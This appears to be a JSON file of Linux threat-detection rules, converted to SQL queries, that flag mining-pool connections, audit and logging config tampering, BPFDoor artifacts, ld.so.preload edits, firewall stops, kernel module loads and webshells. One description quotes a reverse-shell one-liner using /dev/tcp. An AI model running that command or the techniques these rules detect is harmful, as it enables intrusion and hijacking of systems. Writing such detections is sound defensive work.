            "SELECT * FROM logs WHERE DestinationHostname='pool.minexmr.com' OR DestinationHostname='fr.minexmr.com' OR DestinationHostname='de.minexmr.com' OR DestinationHostname='sg.minexmr.com' OR DestinationHostname='ca.minexmr.com' OR DestinationHostname='us-west.minexmr.com' OR DestinationHostname='pool.supportxmr.com' OR DestinationHostname='mine.c3pool.com' OR DestinationHostname='xmr-eu1.nanopool.org' OR DestinationHostname='xmr-eu2.nanopool.org' OR DestinationHostname='xmr-us-east1.nanopool.org' OR DestinationHostname='xmr-us-west1.nanopool.org' OR DestinationHostname='xmr-asia1.nanopool.org' OR DestinationHostname='xmr-jp1.nanopool.org' OR DestinationHostname='xmr-au1.nanopool.org' OR DestinationHostname='xmr.2miners.com' OR DestinationHostname='xmr.hashcity.org' OR DestinationHostname='xmr.f2pool.com' OR DestinationHostname='xmrpool.eu' OR DestinationHostname='pool.hashvault.pro' OR DestinationHostname='moneroocean.stream' OR DestinationHostname='monerocean.stream'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Auditing Configuration Changes on Linux Host",
        "id": "977ef627-4539-4875-adf4-ed8f780c4922",
        "status": "test",
        "description": "Detect changes in auditd configuration files",
        "author": "Mikhail Larin, oscd.community",
        "tags": [
            "attack.defense-impairment",
            "attack.t1685"
        ],
        "falsepositives": [
            "Legitimate administrative activity"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE type='PATH' AND (name LIKE '/etc/audit/%' ESCAPE '\\' OR name='/etc/libaudit.conf' OR name LIKE '/etc/audisp/%' ESCAPE '\\')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "BPFDoor Abnormal Process ID or Lock File Accessed",
        "id": "808146b2-9332-4d78-9416-d7e47012d83d",
        "status": "test",
        "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility",
        "author": "Rafal Piasecki",
        "tags": [
            "attack.execution",
            "attack.t1106",
            "attack.t1059"
        ],
        "falsepositives": [
            "Unlikely"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE type='PATH' AND (name='/var/run/aepmonend.pid' OR name='/var/run/auditd.lock' OR name='/var/run/cma.lock' OR name='/var/run/console-kit.pid' OR name='/var/run/consolekit.pid' OR name='/var/run/daemon.pid' OR name='/var/run/hald-addon.pid' OR name='/var/run/hald-smartd.pid' OR name='/var/run/haldrund.pid' OR name='/var/run/hp-health.pid' OR name='/var/run/hpasmlit.lock' OR name='/var/run/hpasmlited.pid' OR name='/var/run/kdevrund.pid' OR name='/var/run/lldpad.lock' OR name='/var/run/mcelog.pid' OR name='/var/run/system.pid' OR name='/var/run/uvp-srv.pid' OR name='/var/run/vmtoolagt.pid' OR name='/var/run/xinetd.lock')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Logging Configuration Changes on Linux Host",
        "id": "c830f15d-6f6e-430f-8074-6f73d6807841",
        "status": "test",
        "description": "Detect changes of syslog daemons configuration files",
        "author": "Mikhail Larin, oscd.community",
        "tags": [
            "attack.defense-impairment",
            "attack.t1685"
        ],
        "falsepositives": [
            "Legitimate administrative activity"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE type='PATH' AND (name='/etc/syslog.conf' OR name='/etc/rsyslog.conf' OR name='/etc/syslog-ng/syslog-ng.conf')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Modification of ld.so.preload",
        "id": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751",
        "status": "test",
        "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.",
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community",
        "tags": [
            "attack.privilege-escalation",
            "attack.persistence",
            "attack.execution",
            "attack.stealth",
            "attack.t1574.006"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE type='PATH' AND name='/etc/ld.so.preload'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Disable System Firewall",
        "id": "53059bc0-1472-438b-956a-7508a94a91f0",
        "status": "test",
        "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.",
        "author": "Pawel Mazur",
        "tags": [
            "attack.defense-impairment",
            "attack.t1686"
        ],
        "falsepositives": [
            "Admin activity"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE type LIKE 'SERVICE\\_STOP' ESCAPE '\\' AND (unit='firewalld' OR unit='iptables' OR unit='ufw')"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Loading of Kernel Module via Insmod",
        "id": "106d7cbd-80ff-4985-b682-a7043e5acb72",
        "status": "test",
        "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n",
        "author": "Pawel Mazur",
        "tags": [
            "attack.persistence",
            "attack.privilege-escalation",
            "attack.t1547.006"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "high",
        "rule": [
            "SELECT * FROM logs WHERE type='SYSCALL' AND comm='insmod' AND exe='/usr/bin/kmod'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Linux Reverse Shell Indicator",
        "id": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871",
        "status": "test",
        "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.execution",
            "attack.t1059.004"
        ],
        "falsepositives": [
            "Unknown"
        ],
        "level": "critical",
        "rule": [
            "SELECT * FROM logs WHERE Image LIKE '%/bin/bash' ESCAPE '\\' AND (NOT (DestinationIp='127.0.0.1' OR DestinationIp='0.0.0.0'))"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Webshell Remote Command Execution",
        "id": "c0d3734d-330f-4a03-aae2-65dacc6a8222",
        "status": "test",
        "description": "Detects possible command execution by web application/web shell",
        "author": "Ilyas Ochkov, Beyu Denis, oscd.community",
        "tags": [
            "attack.persistence",
            "attack.t1505.003"
        ],
        "falsepositives": [
            "Admin activity",
            "Crazy web applications"
        ],
        "level": "critical",
        "rule": [
            "SELECT * FROM logs WHERE type='SYSCALL' AND (SYSCALL='execve' OR SYSCALL='execveat') AND euid=33"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    },
    {
        "title": "Possible Coin Miner CPU Priority Param",
        "id": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed",
        "status": "test",
        "description": "Detects command line parameter very often used with coin miners",
        "author": "Florian Roth (Nextron Systems)",
        "tags": [
            "attack.privilege-escalation",
            "attack.t1068"
        ],
        "falsepositives": [
            "Other tools that use a --cpu-priority flag"
        ],
        "level": "critical",
        "rule": [
            "SELECT * FROM logs WHERE a1 LIKE '--cpu-priority%' ESCAPE '\\' OR a2 LIKE '--cpu-priority%' ESCAPE '\\' OR a3 LIKE '--cpu-priority%' ESCAPE '\\' OR a4 LIKE '--cpu-priority%' ESCAPE '\\' OR a5 LIKE '--cpu-priority%' ESCAPE '\\' OR a6 LIKE '--cpu-priority%' ESCAPE '\\' OR a7 LIKE '--cpu-priority%' ESCAPE '\\'"
        ],
        "filename": "",
        "channel": [],
        "eventid": []
    }
]